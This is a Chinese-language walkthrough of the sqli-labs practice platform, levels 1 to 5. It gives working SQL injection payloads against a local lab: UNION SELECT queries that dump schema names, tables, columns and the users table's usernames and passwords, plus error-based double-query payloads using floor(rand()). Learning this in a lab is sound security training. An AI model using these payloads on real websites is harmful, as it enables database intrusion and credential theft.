一、介绍
sql-labs是一个学习sql注入的平台,一共65关,每一关介绍了一种注入的类型。
(1-22关)
二、环境搭建
- GitHub项目地址:https://github.com/Audi-1/sqli-labs
》》启动phpstudy
》》将sql-labs解压到站点目录
》》进入到sqli-labs靶机站点,点击重置数据库即可在mysql中创建了数据库
》》进入到关卡1
三、注入类型
3.1 Less-1 字符型注入,基于错误的GET单引号
第一步: 判断是否存在注入点
》》输入?id=1 显示出了数据库中第一行的数据
》》输入单引号报错(注意是英文字符,可能存在sql注入)
》》输入’ and ‘1’='1不报错,确定存在注入点
Tips:原理理解:
数据库中不闭合会报错:
查看用户名、密码相当于数据库中执行了如下操作(红框中分别是站点中输入的验证poc和数据库中输入的命令):
查看后端源码:
第二步 判断当前注入表中的列数
通过order by的语句的查询当前表中的列数,超出列数量会报错的逻辑来判断当前注入点所在表的列数。
输入 ’ order by 3 --+ 正常显示
输入 ’ order by 4 --+ 报错判断当前表中有3列:
Tips:原理理解:
由于users表中一共就有三列,会报错,通过此逻辑判断数据库表中共有几列
第三步 判断显示位
显示位:存在注入点的当前页面中能够查询出数据的位置,所有构造的SQL语句皆可在显示位处爆数据。
union前的数据要为“假”
Tips:原理理解:
union为联合查询,用于连接两个以上的select语句到一个结果集中,输入表中超出的列数会报错
联合查询程序在显示数据时只会显示第一行数据,只要让第一行的查询为空集(即union左边的为空)union右边的数据自然打印了出来
第四步 根据SQL语法爆数据
1.爆出当前数据库(显示位输入SQL语句)
2.爆出所有数据库
http://localhost:81/sqli-labs/less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata; --+
如果是在最后一个显示位,可以使用如下写法:
3.爆出所有表
http://localhost:81/sqli-labs/less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
4.爆出users表中字段
http://localhost:81/sqli-labs/less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+
5.爆出users表中数据
http://localhost:81/sqli-labs/less-1/?id=-1' union select 1,2,group_concat(username,"-",password) from users --+
3.2 Less-2 整型注入,基于错误的GET
输入’ 报错
输入’ and ‘1’='1 也报错
输入 and 1=1 不报错,输入and 1=2不显示数据,判断为整形注入
查看源码
3.3 Less-3 字符型注入,基于错误的单引号变形
》》输入’ 报错,输入’ --+仍报错,输入 and 1=1 /and 1=2无反应
》》输入’) 报错,输入’) --+成功显示,输入’) and 1=1 --+成功显示,输入and 1=2 报错判断为字符型单引号变形注入
查看后端源码:
3.4 Less-4 字符型注入,基于错误的双引号变形
》输入") 报错,输入") --+成功显示
》》查看后端源码
3.5 Less-5 双注入,基于单引号的字符型注入
输入’报错,输入‘ --+显示数据:
但是通过union联合查询发现没有显示位
查看后端源码:(虽是单引号注入,但是没有显示id=1当前列的其它数据行)
这种情况下利用mysql的双查询报错爆出数据
原理理解:
双注入/二次查询注入:一个select语句嵌套另一个select语句,里面的select语句先执行再执行外边的select语句。
concat():连接两个语句
rand():随机输出一个小于1的小数
floor():向下取整
group by():把结果分组输出
count():汇总数据函数
》》先执行的select database() 再执行外边的语句
》》向下取整,floor()结合rand()函数取出的结果非0即1
》》concat()函数连接两个语句
》》group by()进行分组(必须要有一个表这里使用的是mysql固定的表)
select concat((select database()),floor(rand()*2)) as a from information_schema.tables group by 1;
》》添加至count()函数时候会报错,由此可以在第一个地方输入sql语句来爆出数据
使用报错逐行爆数据,使用limit逐行去查看数据(limit 1,1查看第二行数据)
select null,count(*),concat((select table_name from information_schema.tables where table_schema='security'limit 0,1),floor(rand()*2)) as a from information_schema.tables group by a;